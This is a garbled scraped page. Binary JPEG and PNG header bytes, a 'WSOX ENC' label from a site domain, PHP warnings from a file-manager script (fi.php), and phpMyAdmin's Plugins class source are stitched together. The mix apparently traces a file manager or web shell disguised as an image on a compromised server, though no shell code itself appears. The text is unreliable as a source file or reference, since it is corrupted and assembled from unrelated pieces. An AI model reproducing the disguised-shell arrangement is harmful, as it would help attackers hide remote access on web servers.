1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
$type, 'single_table' => $singleTable]; return self::getPlugins('Export'); } /** * @param string $type server|database|table * * @return ImportPlugin[] */ public static function getImport(string $type): array { global $plugin_param; $plugin_param = $type; return self::getPlugins('Import'); } /** * @return SchemaPlugin[] */ public static function getSchema(): array { return self::getPlugins('Schema'); } /** * Reads all plugin information * * @param string $type the type of the plugin (import, export, etc) * @psalm-param 'Export'|'Import'|'Schema' $type * * @return Plugin[] list of plugin instances */ private static function getPlugins(string $type): array { try { $files = new FilesystemIterator(ROOT_PATH . 'libraries/classes/Plugins/' . $type); } catch (Throwable $e) { return []; } $plugins = []; /** @var SplFileInfo $fileInfo */ foreach ($files as $fileInfo) { if (! $fileInfo->isReadable() || ! $fileInfo->isFile() || $fileInfo->getExtension() !== 'php') { continue; } if (! str_starts_with($fileInfo->getFilename(), $type)) { continue; } $class = sprintf('PhpMyAdmin\\Plugins\\%s\\%s', $type, $fileInfo->getBasename('.php')); if (! class_exists($class) || ! is_subclass_of($class, Plugin::class) || ! $class::isAvailable()) { continue; } $plugins[] = new $class(); } usort($plugins, static function (Plugin $plugin1, Plugin $plugin2): int { return strcasecmp($plugin1->getProperties()->getText(), $plugin2->getProperties()->getText()); }); return $plugins; } /** * Returns locale string for $name or $name if no locale is found * * @param string|null $name for local string * * @return string locale string for $name */ public static function getString($name) { return $GLOBALS[$name] ?? $name ?? ''; } /** * Returns html input tag option 'checked' if plugin $opt * should be set by config or request * * @param string $section name of config section in * $GLOBALS['cfg'][$section] for plugin * @param string $opt name of option * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string html input tag option 'checked' */ public static function checkboxCheck($section, $opt) { // If the form is being repopulated using $_GET data, that is priority if ( isset($_GET[$opt]) || ! isset($_GET['repopulate']) && ((! empty($GLOBALS['timeout_passed']) && isset($_REQUEST[$opt])) || ! empty($GLOBALS['cfg'][$section][$opt])) ) { return ' checked="checked"'; } return ''; } /** * Returns default value for option $opt * * @param string $section name of config section in * $GLOBALS['cfg'][$section] for plugin * @param string $opt name of option * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string default value for option $opt */ public static function getDefault($section, $opt) { if (isset($_GET[$opt])) { // If the form is being repopulated using $_GET data, that is priority return htmlspecialchars($_GET[$opt]); } if (isset($GLOBALS['timeout_passed'], $_REQUEST[$opt]) && $GLOBALS['timeout_passed']) { return htmlspecialchars($_REQUEST[$opt]); } if (! isset($GLOBALS['cfg'][$section][$opt])) { return ''; } $matches = []; /* Possibly replace localised texts */ if (! preg_match_all('/(str[A-Z][A-Za-z0-9]*)/', (string) $GLOBALS['cfg'][$section][$opt], $matches)) { return htmlspecialchars((string) $GLOBALS['cfg'][$section][$opt]); } $val = $GLOBALS['cfg'][$section][$opt]; foreach ($matches[0] as $match) { if (! isset($GLOBALS[$match])) { continue; } $val = str_replace($match, $GLOBALS[$match], $val); } return htmlspecialchars($val); } /** * @param ExportPlugin[]|ImportPlugin[]|SchemaPlugin[] $list * * @return array> * @psalm-return list */ public static function getChoice(array $list, string $default): array { $return = []; foreach ($list as $plugin) { $pluginName = $plugin->getName(); $properties = $plugin->getProperties(); $return[] = [ 'name' => $pluginName, 'text' => self::getString($properties->getText()), 'is_selected' => $pluginName === $default, 'force_file' => $properties->getForceFile(), ]; } return $return; } /** * Returns single option in a list element * * @param string $section name of config section in $GLOBALS['cfg'][$section] for plugin * @param string $plugin_name unique plugin name * @param OptionsPropertyItem $propertyGroup options property main group instance * @param bool $is_subgroup if this group is a subgroup * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string table row with option */ public static function getOneOption( $section, $plugin_name, &$propertyGroup, $is_subgroup = false ) { $ret = "\n"; $properties = null; if (! $is_subgroup) { // for subgroup headers if (mb_strpos(get_class($propertyGroup), 'PropertyItem')) { $properties = [$propertyGroup]; } else { // for main groups $ret .= '
'; $text = null; if (method_exists($propertyGroup, 'getText')) { $text = $propertyGroup->getText(); } if ($text != null) { $ret .= '
' . self::getString($text) . '
'; } $ret .= '
    '; } } $not_subgroup_header = false; if (! isset($properties)) { $not_subgroup_header = true; if (method_exists($propertyGroup, 'getProperties')) { $properties = $propertyGroup->getProperties(); } } $property_class = null; if (isset($properties)) { /** @var OptionsPropertySubgroup $propertyItem */ foreach ($properties as $propertyItem) { $property_class = get_class($propertyItem); // if the property is a subgroup, we deal with it recursively if (mb_strpos($property_class, 'Subgroup')) { // for subgroups // each subgroup can have a header, which may also be a form element /** @var OptionsPropertyItem|null $subgroup_header */ $subgroup_header = $propertyItem->getSubgroupHeader(); if ($subgroup_header !== null) { $ret .= self::getOneOption($section, $plugin_name, $subgroup_header); } $ret .= '
    • getName() . '">'; } else { $ret .= '>'; } $ret .= self::getOneOption($section, $plugin_name, $propertyItem, true); continue; } // single property item $ret .= self::getHtmlForProperty($section, $plugin_name, $propertyItem); } } if ($is_subgroup) { // end subgroup $ret .= '
  • '; } elseif ($not_subgroup_header) { // end main group $ret .= '
'; } if (method_exists($propertyGroup, 'getDoc')) { $doc = $propertyGroup->getDoc(); if ($doc != null) { if (count($doc) === 3) { $ret .= MySQLDocumentation::show($doc[1], false, null, null, $doc[2]); } elseif (count($doc) === 1) { $ret .= MySQLDocumentation::showDocumentation('faq', $doc[0]); } else { $ret .= MySQLDocumentation::show($doc[1]); } } } // Close the list element after $doc link is displayed if ($property_class !== null) { if ( $property_class == BoolPropertyItem::class || $property_class == MessageOnlyPropertyItem::class || $property_class == SelectPropertyItem::class || $property_class == TextPropertyItem::class ) { $ret .= ''; } } return $ret . "\n"; } /** * Get HTML for properties items * * @param string $section name of config section in * $GLOBALS['cfg'][$section] for plugin * @param string $plugin_name unique plugin name * @param OptionsPropertyItem $propertyItem Property item * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string */ public static function getHtmlForProperty( $section, $plugin_name, $propertyItem ) { $ret = ''; $property_class = get_class($propertyItem); switch ($property_class) { case BoolPropertyItem::class: $ret .= '
  • ' . "\n"; $ret .= '
    ' . "\n"; $ret .= 'getName() ); if ($propertyItem->getForce() != null) { // Same code is also few lines lower, update both if needed $ret .= ' onclick="if (!this.checked && ' . '(!document.getElementById(\'checkbox_' . $plugin_name . '_' . $propertyItem->getForce() . '\') ' . '|| !document.getElementById(\'checkbox_' . $plugin_name . '_' . $propertyItem->getForce() . '\').checked)) ' . 'return false; else return true;"'; } $ret .= '>'; $ret .= '
    '; break; case DocPropertyItem::class: echo DocPropertyItem::class; break; case HiddenPropertyItem::class: $ret .= '
  • '; break; case MessageOnlyPropertyItem::class: $ret .= '
  • ' . "\n"; $ret .= self::getString($propertyItem->getText()); break; case RadioPropertyItem::class: /** * @var RadioPropertyItem $pitem */ $pitem = $propertyItem; $default = self::getDefault( $section, $plugin_name . '_' . $pitem->getName() ); $ret .= '
  • '; foreach ($pitem->getValues() as $key => $val) { $ret .= '
    getName() . '_' . $key . '">' . self::getString($val) . '
    '; } $ret .= '
  • '; break; case SelectPropertyItem::class: /** * @var SelectPropertyItem $pitem */ $pitem = $propertyItem; $ret .= '
  • ' . "\n"; $ret .= ''; $ret .= ''; break; case TextPropertyItem::class: /** * @var TextPropertyItem $pitem */ $pitem = $propertyItem; $ret .= '
  • ' . "\n"; $ret .= ''; $ret .= 'getSize() != null ? ' size="' . $pitem->getSize() . '"' : '') . ($pitem->getLen() != null ? ' maxlength="' . $pitem->getLen() . '"' : '') . '>'; break; case NumberPropertyItem::class: $ret .= '
  • ' . "\n"; $ret .= ''; $ret .= ''; break; default: break; } return $ret; } /** * Returns html div with editable options for plugin * * @param string $section name of config section in $GLOBALS['cfg'][$section] * @param ExportPlugin[]|ImportPlugin[]|SchemaPlugin[] $list array with plugin instances * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string html fieldset with plugin options */ public static function getOptions($section, array $list) { $ret = ''; // Options for plugins that support them foreach ($list as $plugin) { $properties = $plugin->getProperties(); $text = null; $options = null; if ($properties != null) { $text = $properties->getText(); $options = $properties->getOptions(); } $plugin_name = $plugin->getName(); $ret .= '
    '; $ret .= '

    ' . self::getString($text) . '

    '; $no_options = true; if ($options !== null && count($options) > 0) { foreach ($options->getProperties() as $propertyMainGroup) { // check for hidden properties $no_options = true; foreach ($propertyMainGroup->getProperties() as $propertyItem) { if (strcmp(HiddenPropertyItem::class, get_class($propertyItem))) { $no_options = false; break; } } $ret .= self::getOneOption($section, $plugin_name, $propertyMainGroup); } } if ($no_options) { $ret .= '

    ' . __('This format has no options') . '

    '; } $ret .= '
    '; } return $ret; } public static function getAuthPlugin(): AuthenticationPlugin { global $cfg; /** @psalm-var class-string $class */ $class = 'PhpMyAdmin\\Plugins\\Auth\\Authentication' . ucfirst(strtolower($cfg['Server']['auth_type'])); if (! class_exists($class)) { Core::fatalError( __('Invalid authentication method set in configuration:') . ' ' . $cfg['Server']['auth_type'] ); } /** @var AuthenticationPlugin $plugin */ $plugin = new $class(); return $plugin; } }